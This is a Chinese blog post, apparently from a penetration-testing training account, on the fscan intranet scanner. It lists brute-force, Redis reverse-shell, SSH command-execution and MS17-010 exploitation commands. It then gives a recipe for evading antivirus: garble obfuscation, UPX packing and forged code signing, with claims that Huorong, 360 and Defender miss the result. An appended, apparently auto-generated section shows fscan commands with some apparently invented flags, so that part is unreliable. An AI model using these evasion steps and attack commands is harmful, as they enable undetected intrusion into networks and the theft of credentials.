Fscan以及免杀

公众号:泷羽Sec-Ceo


声明!
        所提供的工具资料仅供学习之用。这些资料旨在帮助用户增进知识、提升技能,并促进个人成长与学习。用户在使用这些资料时,应严格遵守相关法律法规,不得将其用于任何非法、欺诈、侵权或其他不当用途。本人和团队不对用户因使用这些资料而产生的任何后果负责,包括但不限于因操作不当、误解资料内容或违反法律法规而导致的损失或损害。用户应自行承担使用这些资料的风险,并在使用前进行充分的了解和评估。


        团队目前在筹备OSCP+的培训,费用4000,跟其他培训比,泷羽Sec绝对优惠,泷羽Sec的泷老师,是一名资深高级红队队长,拥有OSEP,CISSP,OSCP等等含金量极高的证书。报名可以在”泷羽Sec-Ceo“咨询一下


介绍

        支持主机存活探测、端口扫描、常见服务的爆破、ms17010、Redis批量写入公钥、计划任务设置以反弹Shell、Windows网卡信息读取、Web指纹识别、Web漏洞深度扫描、NetBIOS探测、域控制器识别等功能。

项目源地址

https://github.com/shadow1ng/fscan/tree/main


主要功能

信息搜集:

       存活探测:利用ICMP协议,高效检测主机在线状态。

       端口扫描:全面扫描开放端口,洞察目标系统服务布局。

爆破功能:

       各类服务爆破:针对SSH、SMB、RDP等多种服务。

       数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等数据库。

系统信息、漏洞扫描:

       NetBIOS探测、域控识别:通过NetBIOS协议,识别网络拓扑结构,精准定位域控制器。

       获取目标网卡信息:获取目标系统网卡配置,洞悉网络接入详情。

       高危漏洞扫描:针对MS17-010等已知高危漏洞,实施专项扫描。

Web探测功能:

       WebTitle探测:快速抓取网页标题,辅助站点身份确认。

       Web指纹识别:精准识别常见CMS、OA等Web框架,揭示后台技术栈。

       Web漏洞扫描:集成WebLogic、ST2等应用漏洞扫描,支持Xray PoC。

漏洞利用:

       Redis权限提升:通过写入公钥或计划任务,实现非授权访问控制。

       SSH远程执行:直接执行远程命令,实现系统控制。

       MS17-017利用:植入Shellcode,执行高级操作,如用户添加等。

其他功能:

       文件保存:便捷保存扫描报告,便于后续分析与复盘


使用方法

默认使用全部模块

       fscan.exe -h 192.168.1.1/24

跳过存活检测 、跳过web poc扫描

        fscan.exe -h 192.168.1.1/24 -np -no -nopoc

Redis 写入公钥

        fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub

Redis 计划任务反弹shell

        fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666

ssh 爆破成功后进行命令执行

        fscan.exe -h 192.168.1.1/24 -c whoami

指定ssh模块和端口

        fscan.exe -h 192.168.1.1/24 -m ssh -p 2222

加载指定文件来进行用户名、密码爆破

        fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt

Smb的密码碰撞

        fscan.exe -h 192.168.1.1/24 -m smb -pwd password

扫描单个URL并设置HTTP代理

        fscan.exe -u http://baidu.com -proxy 8080

完整参数

ssh命令执行

        -c whoami;id

设置cookie

         -cookie xxxxxx

无响应时打印当前进度(default 60)     

         -debug 60

smb爆破模块时设置域名

         -domain URL

目标IP       

         -h 0.0.0.0

读取文件内的目标       

         -hf xxx.txt

 白名单,要跳过的ip   

         -hn 1.1.1.1/24

设置扫描模式

         -m ssh (default "all")

扫描结果不保存到文件中

        -no

跳过sql、ftp、ssh等的密码爆破

        -nobr

跳过web poc扫描

        -nopoc

跳过存活探测       

        -np

限制poc 发包速率  (default 20)       

        -num 20

扫描结果保存位置 (default "result.txt")

        -o xxx.txt

设置扫描的端口

        -p 22

在原有端口列表基础上,新增该端口  

        -pa 3389

fcgi、smb romote file path       

        -path smb

使用ping代替icmp进行存活探测

        -ping

扫描时要跳过的端口       

        -pn 445

指定web poc的名字

        -pocname weblogic

设置代理       

        -proxy http://127.0.0.1:8080

指定用户名       

        -user user

指定用户名文件

        -userf user.txt

指定密码

        -pwd string

指定密码文件

        -pwdf string

指定redis写公钥用模块的文件

        -rf id_rsa.pub

redis计划任务反弹shell的ip端口

        -rs 1.1.1.1:8888

静默扫描

        -silent

指定ssh私钥

        -sshkey id_rsa

扫描线程

        -t 600

扫描端口超时时间

        -time 3

指定Url       

        -u Url    

指定Url文件

        -uf string

web访问超时时间

        -wt 5

指定poc路径

        -pocpath /xxx/xxx/

在原有用户字典基础上,新增新用户

        -usera 123

在原有密码字典基础上,增加新密码       

        -pwda 456

指定socks5代理

        -socks5 socks5://127.0.0.1:1080

基础使用效果

fscan.exe -h 192.168.x.x

fscan.exe -h 192.168.x.x -c "whoami;id"

二开免杀

garble代码混淆

采用garble进行代码混淆,确保Go语言版本为1.22.10,然后使用garble工具对fscan进行编译。

garble -literals build main.go

更深入的混淆处理,可以添加微小偏移并使用随机种子

garble -literals -tiny -seed=random build -o appwudi.exe main.go

garble(混淆库):

删除额外信息

        -tiny

混淆文字            

        -literals

base64编码的随机种子         

        -seed=random      

编译流程完成后,将会生成 appwudi.exe 文件。

在此过程中遇到错误导致编译未能成功,就删除先前复制的三个文件夹,并重新尝试编译。

加壳压缩

使用Kali Linux系统中的UPX工具进行压缩处理。

upx appwudi.exe

签名

        当程序被执行时,杀毒软件通常会检查其是否包含数字签名,因此为程序添加一层数字签名显得尤为重要。

项目地址

https://github.com/langsasec/Sign-Sacker

选择任意的签名

免杀效果

火绒

        扫描后并未发现

360

        扫描后并为发现

Defender

        扫描后并未发现

03-08
### fscan 工具使用说明 #### 主要功能概述 `fscan`是一款用于内网综合扫描的强大工具,支持多种类型的漏洞检测和网络环境分析[^1]。此工具不仅限于简单的主机发现或端口扫描;它还提供了深入的服务版本识别、Web应用程序弱点查找以及特定协议下的高级特性探索。 #### 安装与配置 为了开始使用`fscan`,可以从官方项目页面下载最新版软件包并按照给定指示完成安装过程。通常情况下,这涉及到克隆仓库到本地机器上,并确保所有依赖项都已正确设置好以便顺利运行程序: ```bash git clone https://gitcode.com/open-source-toolkit/b025d.git cd b025d chmod +x install.sh && ./install.sh ``` #### 基础命令行选项 启动`fscan`后,默认会执行一次全面的基础扫描操作来收集有关目标系统的初步情报数据。对于更详细的定制化需求,则可以通过指定不同的参数来自定义扫描行为: - `-h, --help`: 显示帮助信息。 - `-t <target>`: 设置待测对象(IP地址/域名),例如:`-t 192.168.1.1`. - `-p <ports>`: 自定义端口号范围进行探测,如`-p 22,80,443`. #### 高级特征运用 除了基本的功能外,`fscan`也具备一些更为专业的用途,比如通过NetBIOS协议来进行Windows域控制器的身份验证尝试或是针对某些知名的安全缺陷实施针对性测试(像MS17-010这样的远程代码执行漏洞)[^2]: ```bash # 执行netbios探测及域控识别 ./fscan -nbios-scan -dc-detect # 对单个主机执行ms17-010漏洞检查 ./fscan -check ms17-010 -host 192.168.x.x ``` #### 结果解读 当扫描完成后,`fscan`将会生成一份详尽报告文件,其中包含了所发现的所有潜在风险点及其严重程度评级。用户可以根据这些反馈采取相应措施加强内部网络安全防护体系结构。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值